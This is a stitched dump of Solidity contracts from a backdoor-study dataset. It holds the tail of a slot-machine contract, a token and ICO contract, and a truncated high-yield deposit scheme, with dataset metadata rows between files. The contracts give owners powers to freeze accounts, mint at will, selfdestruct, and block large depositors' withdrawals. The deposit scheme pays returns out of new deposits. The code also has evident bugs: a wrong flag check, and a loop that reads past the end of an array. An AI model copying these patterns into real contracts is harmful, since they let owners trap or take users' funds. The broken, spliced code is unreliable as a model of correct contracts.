mapping(uint256 => Roll) idToRoll; // Map each ID to a roll
struct Roll {
uint256 id; // id for VRF
uint256 payout; // amount won
uint256 round; // round number
uint256 cost;
uint8[3] symbols; // symbols
bool finished; // Spin completely finished
bool isFreeSpin;
bool isTokenSpin;
address roller; // user address
}
uint8[][] private s_wheels = [
[0, 1, 2, 3, 4, 5, 6, 7, 8],
[0, 1, 2, 3, 4, 5, 6, 7, 8],
[0, 1, 2, 3, 4, 5, 6, 7, 8]
];
uint256[] private s_symbolOdds = [
1900,
1800,
1600,
1400,
1400,
900,
700,
250,
50
];
uint256 public maxRelativePayout = 1000;
uint256 public relativeJackpotPayout = 1000;
uint256[] private s_payouts = [
800,
1500,
4000,
5000,
10000,
25000,
40000,
90000,
100
];
uint256 public sameSymbolOdds = 6000;
// Precision for calculating the odds and payouts.
uint256 public PRECISION = 10000;
uint256 public prizePool = 0; // amount of tokens to win
uint256 public ethSpinPrice;
uint256 public tokenSpinPrice;
uint256 public freeSpinTimeout;
uint256 public freeSpinTier1MinTokenBalance = 1000000000 * 10**18;
uint256 public freeSpinTier2MinTokenBalance = 2000000000 * 10**18;
uint256 public freeSpinTier3MinTokenBalance = 3000000000 * 10**18;
uint256 public constant maxSupplyFreeSpinTier1 = 200;
uint256 public constant maxSupplyFreeSpinTier2 = 50;
uint256 public constant maxSupplyFreeSpinTier3 = 25;
// Roll fee division
uint256 public potFee;
uint256 public teamFee;
uint256[] private s_stakingFees;
address payable public teamAddress;
address public immutable tokenAddress;
address public freeSpinNFTAddress;
address[] private s_stakingAddresses;
bool public tokenSpinningEnabled = true;
bool public ethSpinningEnabled = true;
mapping(address => bool) public freeSpin;
mapping(address => uint256) public lastFreeSpinTimeAddress;
mapping(uint256 => uint256) public lastFreeSpinTimeNFT;
constructor(uint64 subscriptionId,
address _token,
address payable _teamAddress) VRFConsumerBaseV2(vrfCoordinator) {
owner = msg.sender;
COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
s_subscriptionId = subscriptionId;
tokenAddress = _token;
potFee = 5000;
teamFee = 5000;
teamAddress = _teamAddress;
camelotRouter = ICamelotRouter(0xA91527e5a4CE620e5a18728e52572769DcEcdb99); // Change for mainnet to 0x10ED43C718714eb63d5aA57B78B54704E256024E
}
function tokenSpin() public returns (uint256 roundIndex) {
// Play with tokens
require(tokenSpinningEnabled, "Token spinning disabled.");
if (freeSpin[msg.sender]) {
freeSpin[msg.sender] = false;
spin(tokenSpinPrice, true, true);
} else {
IERC20(tokenAddress).transferFrom(msg.sender,
address(this),
tokenSpinPrice);
uint256 prizePoolTokens = (tokenSpinPrice * potFee) / PRECISION;
prizePool += prizePoolTokens;
if(teamFee > 0){
IERC20(tokenAddress).transfer(teamAddress,
(tokenSpinPrice * teamFee) / PRECISION);
}
address[] memory stakingAddresses = s_stakingAddresses;
uint256[] memory stakingFees = s_stakingFees;
for (uint256 i; i < stakingAddresses.length; i++) {
if(stakingFees[i] > 0){
IERC20(tokenAddress).transfer(stakingAddresses[i],
(tokenSpinPrice * stakingFees[i]) / PRECISION);
}
}
return spin(prizePoolTokens, false, true);
}
}
function ethSpin() public payable returns (uint256 roundIndex) {
// Play with eth
require(msg.value >= ethSpinPrice, "Insufficient value to roll");
require(tokenSpinningEnabled, "ETH spinning disabled.");
uint256 teamFeeETH = (ethSpinPrice * teamFee) / PRECISION;
if(teamFee > 0){
teamAddress.transfer(teamFeeETH);
}
uint256 swapETH = msg.value - teamFeeETH;
address[] memory path = new address[](2);
path[0] = camelotRouter.WETH();
path[1] = tokenAddress;
uint256 deadline = block.timestamp + 180;
uint256 tokenBalanceBefore = IERC20(tokenAddress).balanceOf(address(this));
camelotRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: swapETH
}(0, path, address(this), address(0), deadline);
uint256 swappedTokens = IERC20(tokenAddress).balanceOf(address(this)) -
tokenBalanceBefore;
address[] memory stakingAddresses = s_stakingAddresses;
uint256[] memory stakingFees = s_stakingFees;
for (uint256 i; i < stakingAddresses.length; i++) {
if(stakingFees[i] > 0){
IERC20(tokenAddress).transfer(stakingAddresses[i],
(swappedTokens * stakingFees[i]) / (PRECISION - teamFee));
}
}
uint256 prizePoolTokens = IERC20(tokenAddress).balanceOf(address(this)) - tokenBalanceBefore;
prizePool += prizePoolTokens;
return spin(prizePoolTokens, false, false);
}
// Assumes the subscription is funded sufficiently.
function spin(uint256 cost,
bool isFreeSpin,
bool isTokenSpin) internal returns (uint256) {
// Will revert if subscription is not set and funded.
uint256 id = COORDINATOR.requestRandomWords(keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords);
idToRoll[id].round = rolls.length;
idToRoll[id].roller = msg.sender;
idToRoll[id].id = id;
idToRoll[id].cost = cost;
idToRoll[id].finished = false;
idToRoll[id].isFreeSpin = isFreeSpin;
idToRoll[id].isTokenSpin = isTokenSpin;
roundsPlayed[msg.sender].push(rolls.length);
// Push roll to master roll array
rolls.push(idToRoll[id]);
return idToRoll[id].round;
}
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
override
{
uint8 symbol = 0;
uint8[] memory wheel = s_wheels[0];
uint256[] memory _symbolOdds = s_symbolOdds;
uint256 oddsCounter = _symbolOdds[0];
uint256 randomNumber = randomWords[0];
for (uint8 i; i < _symbolOdds.length; i++) {
if ((randomNumber % PRECISION) + 1 <= oddsCounter) {
symbol = wheel[i];
break;
} else {
oddsCounter += _symbolOdds[i + 1];
}
}
idToRoll[requestId].symbols[0] = symbol;
if ((uint256(keccak256(abi.encode(randomNumber, 1))) % PRECISION) + 1 <=
sameSymbolOdds) {
idToRoll[requestId].symbols[1] = symbol;
} else {
idToRoll[requestId].symbols[1] = wheel[
uint256(keccak256(abi.encode(randomNumber, 2))) % wheel.length
];
}
if ((uint256(keccak256(abi.encode(randomNumber, 3))) % PRECISION) + 1 <=
sameSymbolOdds) {
idToRoll[requestId].symbols[2] = symbol;
} else {
idToRoll[requestId].symbols[2] = wheel[
uint256(keccak256(abi.encode(randomNumber, 4))) % wheel.length
];
}
idsFulfilled++;
game(requestId);
}
function game(uint256 requestId) internal {
if (idToRoll[requestId].symbols[0] == idToRoll[requestId].symbols[1] &&
idToRoll[requestId].symbols[1] == idToRoll[requestId].symbols[2]) {
// all 3 match
uint256 prize = calculatePrize(idToRoll[requestId].symbols[0],
idToRoll[requestId].cost);
idToRoll[requestId].payout = prize;
IERC20(tokenAddress).transfer(idToRoll[requestId].roller, prize);
prizePool -= prize; // decrease prizepool to prevent giving away already won tokens
}
idToRoll[requestId].finished = true;
rolls[idToRoll[requestId].round] = idToRoll[requestId]; // copy
emit Spin(idToRoll[requestId].roller,
idToRoll[requestId].round,
idToRoll[requestId].symbols,
idToRoll[requestId].payout,
idToRoll[requestId].isFreeSpin);
}
function symbolsOfRound(uint256 _round)
public
view
returns (uint8[3] memory)
{
return (rolls[_round].symbols);
}
function roundInfo(uint256 _round) public view returns (Roll memory) {
return (rolls[_round]);
}
// Return multiple round info
function getMultipleRoundInfo(uint256[] memory rounds) public view returns (Roll[] memory) {
Roll[] memory subset = new Roll[](rounds.length);
for (uint256 i; i < rounds.length;) {
subset[i] = rolls[rounds[i]];
unchecked {++i;}
}
return subset;
}
function getRoundsPlayed(address player)
public
view
returns (uint256[] memory)
{
return (roundsPlayed[player]);
}
// Return the total amount of rounds from a player.
function getTotalRoundsPlayed(address player) public view returns (uint256) {
return roundsPlayed[player].length;
}
function getTotalRoundsPlayed() public view returns (uint256) {
return (rolls.length);
}
// Return only the last x amount of rounds by a player.
function getLastRoundsPlayed(address player, uint256 amount) public view returns (uint256[] memory) {
if(roundsPlayed[player].length <= amount){
return roundsPlayed[player];
}
uint256[] memory subset = new uint256[](amount);
uint256 startIndex = roundsPlayed[player].length - amount;
for (uint256 i; i < amount;) {
subset[i] = roundsPlayed[player][i+startIndex];
unchecked {++i;}
}
return subset;
}
function getSymbolsCount() public view returns (uint256) {
return (s_wheels[0].length);
}
function getStakingAddressesCount() public view returns (uint256) {
return (s_stakingAddresses.length);
}
function getWheels() public view returns (uint8[][] memory){
return s_wheels;
}
function getSymbolOdds() public view returns (uint256[] memory){
return s_symbolOdds;
}
function getPayouts() public view returns (uint256[] memory){
return s_payouts;
}
function getStakingAddresses() public view returns (address[] memory){
return s_stakingAddresses;
}
function getStakingFees() public view returns (uint256[] memory){
return s_stakingFees;
}
function totalWinnings(address player) public view returns (uint256) {
// Total winnings of contestant, including already paid
uint256 payout;
uint256[] memory _rounds = roundsPlayed[player];
for (uint256 i; i < _rounds.length; i++) {
payout += rolls[_rounds[i]].payout;
}
return (payout);
}
function calculatePrize(uint8 _symbol, uint256 amountPaid)
public
view
returns (uint256)
{
uint256 prize;
if (_symbol == s_wheels[0].length - 1) {
prize = (prizePool * relativeJackpotPayout) / PRECISION;
} else {
uint256 currentMaxPayout = (prizePool * maxRelativePayout) /
PRECISION;
prize = (amountPaid * s_payouts[_symbol]) / PRECISION;
prize = prize > currentMaxPayout ? currentMaxPayout : prize;
}
return prize;
}
function addTokensToPot(uint256 amount) public {
IERC20(tokenAddress).transferFrom(msg.sender, address(this), amount);
prizePool += amount;
}
function setSubscriptionId(uint64 subscriptionId) public onlyOwner {
s_subscriptionId = subscriptionId;
}
function setCallbackGasLimit(uint32 gas) public onlyOwner {
callbackGasLimit = gas;
}
function setCallbackRequestConfirmations(uint16 _callbackRequestConfirmations) public onlyOwner {
requestConfirmations = _callbackRequestConfirmations;
}
function setVrfKeyHash(bytes32 _keyHash) public onlyOwner {
keyHash = _keyHash;
}
function setSymbolOdds(uint256[] memory _symbolOdds) public onlyOwner {
s_symbolOdds = _symbolOdds;
}
function setSameSymbolOdds(uint256 _sameSymbolOdds) public onlyOwner {
require(_sameSymbolOdds <= PRECISION, "Percentage too big.");
sameSymbolOdds = _sameSymbolOdds;
}
function setPayouts(uint256[] memory _payouts) public onlyOwner {
// Set the payout % of each symbol. Also can add new symbols.
s_payouts = _payouts;
}
function setEthSpinPrice(uint256 _ethSpinPrice) public onlyOwner {
ethSpinPrice = _ethSpinPrice;
}
function setTokenSpinPrice(uint256 _tokenSpinPrice) public onlyOwner {
// Set price of a spin
tokenSpinPrice = _tokenSpinPrice;
}
function setMaxRelativePayout(uint256 _maxRelativePayout) public onlyOwner {
// Set the max payout
require(_maxRelativePayout <= PRECISION, "Percentage too big.");
maxRelativePayout = _maxRelativePayout;
}
function setRelativeJackpotPayout(uint256 _relativeJackpotPayout) public onlyOwner {
// Set the jackpot payout
require(_relativeJackpotPayout <= PRECISION, "Percentage too big.");
relativeJackpotPayout = _relativeJackpotPayout;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function setWheels(uint8[][] memory _wheels) public onlyOwner {
// Set the number of each symbol per wheel.
s_wheels = _wheels;
}
function setPrizePool(uint256 _prizePool) public onlyOwner {
// Set number of tokens to be won. Must have desired amount deposited.
require(_prizePool <= IERC20(tokenAddress).balanceOf(address(this)),
"Not enough tokens deposited.");
prizePool = _prizePool;
}
function setTokenSpinningEnabled(bool _tokenSpinningEnabled)
public
onlyOwner
{
// Enable or disable spinning with tokens
tokenSpinningEnabled = _tokenSpinningEnabled;
}
function setEthSpinningEnabled(bool _ethSpinningEnabled) public onlyOwner {
// Enable or disable spinning with ETH
ethSpinningEnabled = _ethSpinningEnabled;
}
function setAllFees(uint256 _potFee,
uint256 _teamFee,
address[] memory stakingAddresses,
uint256[] memory stakingFees) public onlyOwner {
require(stakingAddresses.length == stakingFees.length,
"The amount of staking addresses must equal the amount of staking fees.");
uint256 stakingFeesSum = 0;
for (uint256 i; i < stakingFees.length; i++) {
stakingFeesSum += stakingFees[i];
}
require(_potFee + _teamFee + stakingFeesSum == PRECISION,
"Total fees must equal 100%.");
potFee = _potFee;
teamFee = _teamFee;
s_stakingAddresses = stakingAddresses;
s_stakingFees = stakingFees;
}
function setTeamAddress(address _newTeamAddress) public onlyOwner {
teamAddress = payable(_newTeamAddress);
}
function setFreeSpinNFTAddress(address _freeSpinNFTAddress)
public
onlyOwner
{
freeSpinNFTAddress = _freeSpinNFTAddress;
}
function setFreeSpinTimeout(uint256 timeout) public onlyOwner {
freeSpinTimeout = timeout;
}
function setFreeSpinTier1MinTokenBalance(uint256 _freeSpinTier1MinTokenBalance) public onlyOwner {
freeSpinTier1MinTokenBalance = _freeSpinTier1MinTokenBalance;
}
function setFreeSpinTier2MinTokenBalance(uint256 _freeSpinTier2MinTokenBalance) public onlyOwner {
freeSpinTier2MinTokenBalance = _freeSpinTier2MinTokenBalance;
}
function setFreeSpinTier3MinTokenBalance(uint256 _freeSpinTier3MinTokenBalance) public onlyOwner {
freeSpinTier3MinTokenBalance = _freeSpinTier3MinTokenBalance;
}
function claimFreeSpinFromNFT(uint256 tokenId) public {
require(IERC721(freeSpinNFTAddress).ownerOf(tokenId) == msg.sender,
"User doesn't own the NFT.");
require(!freeSpin[msg.sender], "User already has a free spin.");
require(lastFreeSpinTimeAddress[msg.sender] + freeSpinTimeout <
block.timestamp,
"User was given a free spin recently.");
require(lastFreeSpinTimeNFT[tokenId] + freeSpinTimeout < block.timestamp,
"NFT was given a free spin recently.");
if (tokenId <= maxSupplyFreeSpinTier1) {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier1MinTokenBalance,
"User has insufficient token balance.");
} else if (tokenId <= maxSupplyFreeSpinTier1 + maxSupplyFreeSpinTier2) {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier2MinTokenBalance,
"User has insufficient token balance.");
} else {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier3MinTokenBalance,
"User has insufficient token balance.");
}
lastFreeSpinTimeAddress[msg.sender] = block.timestamp;
lastFreeSpinTimeNFT[tokenId] = block.timestamp;
freeSpin[msg.sender] = true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
receive() external payable {}
}
| 58,613 | 10,542 |
3a877b6e0d9ef2d5e1292a48ee6da8ab90d7fa621aa8f77478bb46907406c188
| 12,646 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xaf6c0309b41c8f7daa08f0d317d5c1dd07338010.sol
| 2,433 | 9,485 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'World meds' token contract
//
// Owner Address : 0xa03eaf0b2490f2b13efc772b8344d08b6a03e661
// Symbol : wdmd
// Name : World meds
// Total supply: 1000000000
// Decimals : 18
// Website : https://worldwidemeds.online
// Email : info@worldwidemeds.online
// POWERED BY World Wide Meds.
// (c) by Team @ World Wide Meds 2018.
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ERC20 is owned {
using SafeMath for uint;
// Public variables of the token
string public name = "World meds";
string public symbol = "wdmd";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * 10 ** uint256(decimals);
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public ICO_Contract;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
constructor () public {
balanceOf[owner] = totalSupply;
}
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(this, target, mintedAmount);
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @dev Set the ICO_Contract.
/// @param _ICO_Contract crowdsale contract address
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
contract Killable is owned {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
contract ERC20_ICO is Killable {
/// The token we are selling
ERC20 public token;
/// the UNIX timestamp start date of the crowdsale
uint256 public startsAt = 1545048000;
/// the UNIX timestamp end date of the crowdsale
uint256 public endsAt = 1548936000;
/// the price of token
uint256 public TokenPerETH = 5000;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint256 public tokensSold = 0;
/// the number of ETH raised through this contract
uint256 public weiRaised = 0;
/// How many distinct addresses have invested
uint256 public investorCount = 0;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// A new investment was made
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount);
/// Crowdsale Start time has been changed
event StartsAtChanged(uint256 startsAt);
/// Crowdsale end time has been changed
event EndsAtChanged(uint256 endsAt);
/// Calculated new price
event RateChanged(uint256 oldValue, uint256 newValue);
constructor (address _token) public {
token = ERC20(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint256 tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Emit an event that shows invested successfully
emit Invested(receiver, msg.value, tokensAmount);
// Transfer Token to owner's address
token.transfer(receiver, tokensAmount);
// Transfer Fund to owner's address
owner.transfer(address(this).balance);
}
function () public payable {
investInternal(msg.sender);
}
function setStartsAt(uint256 time) onlyOwner public {
require(!finalized);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setEndsAt(uint256 time) onlyOwner public {
require(!finalized);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setRate(uint256 value) onlyOwner public {
require(!finalized);
require(value > 0);
emit RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize() public onlyOwner {
// Finalized Pre ICO crowdsele.
finalized = true;
uint256 tokensAmount = token.balanceOf(this);
token.transfer(owner, tokensAmount);
}
}
| 147,740 | 10,543 |
aef88c804b05a995c99bd5f228dd921caaa6234d6bc7adc1b87813fc91b85741
| 11,916 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
Tenace/Contracts/tenace.sol
| 3,877 | 11,764 |
//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract Tenace {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether;
uint256 constant public INVEST_MAX_AMOUNT = 150 ether;
uint256 constant public MAX_DEPOSITS = 100;
uint256 constant public BASE_PERCENT = 40;
uint256[] public REFERRAL_PERCENTS = [250, 150, 100];
uint256 constant public PROJECT_FEE = 60;
uint256 constant public DEV_FEE = 40;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public PERCENTS_DIVIDER_REFERRAL = 10000;
uint256 public constant withdraw_MAX_AMOUNT = 10 ether;
uint256 constant public CONTRACT_BALANCE_STEP = 500 ether;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256 public totalReferrals;
address payable public devAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 totalBonus;
uint256 totalInvested;
uint256[5] levels;
}
mapping (address => User) internal users;
mapping (address => bool) internal antiWhale;
uint256 public startUNIX;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable projectAddr, address payable devAddr, uint256 start) {
require(!isContract(devAddr) && !isContract(projectAddr));
projectAddress = projectAddr;
devAddress = devAddr;
if(start > 0){
startUNIX = start;
}
else{
startUNIX = block.timestamp;
}
}
function invest(address referrer) public payable {
require(block.timestamp > startUNIX, "not luanched yet");
require(!antiWhale[msg.sender],"AntiWhale limit");
require(msg.value >= INVEST_MIN_AMOUNT);
User storage user = users[msg.sender];
require(user.deposits.length < MAX_DEPOSITS, "max deposits is 100");
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
devAddress.transfer(msg.value.mul(DEV_FEE).div(PERCENTS_DIVIDER));
if (user.referrer == address(0)) {
if(users[referrer].deposits.length > 0 && referrer != msg.sender){
user.referrer = referrer;
}
else{
user.referrer = projectAddress;
}
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER_REFERRAL);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
totalReferrals = totalReferrals.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
user.totalInvested = user.totalInvested.add(msg.value);
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
require(block.timestamp > startUNIX, "not luanched yet");
require(!antiWhale[msg.sender],"AntiWhale limit");
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends);
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
payable(msg.sender).transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool status) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
status = true;
return status;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
uint256 dividends;
uint256 userPercentRate = getUserPercentRate(msg.sender);
if (user.deposits[index].withdrawn < user.deposits[index].amount.mul(2)) {
if (user.deposits[index].start > user.checkpoint) {
dividends = (user.deposits[index].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[index].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[index].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[index].withdrawn.add(dividends) > user.deposits[index].amount.mul(2)) {
dividends = (user.deposits[index].amount.mul(2)).sub(user.deposits[index].withdrawn);
}
}
return (user.deposits[index].amount, user.deposits[index].withdrawn.add(dividends), user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function setAntiWhale(address userAddress, bool status) external {
require(msg.sender == projectAddress, "only owner");
require(getUserTotalDeposits(userAddress) > 100 ether, "only whales");
antiWhale[userAddress] = status;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
return user.totalInvested;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2], users[userAddress].levels[3], users[userAddress].levels[4]);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
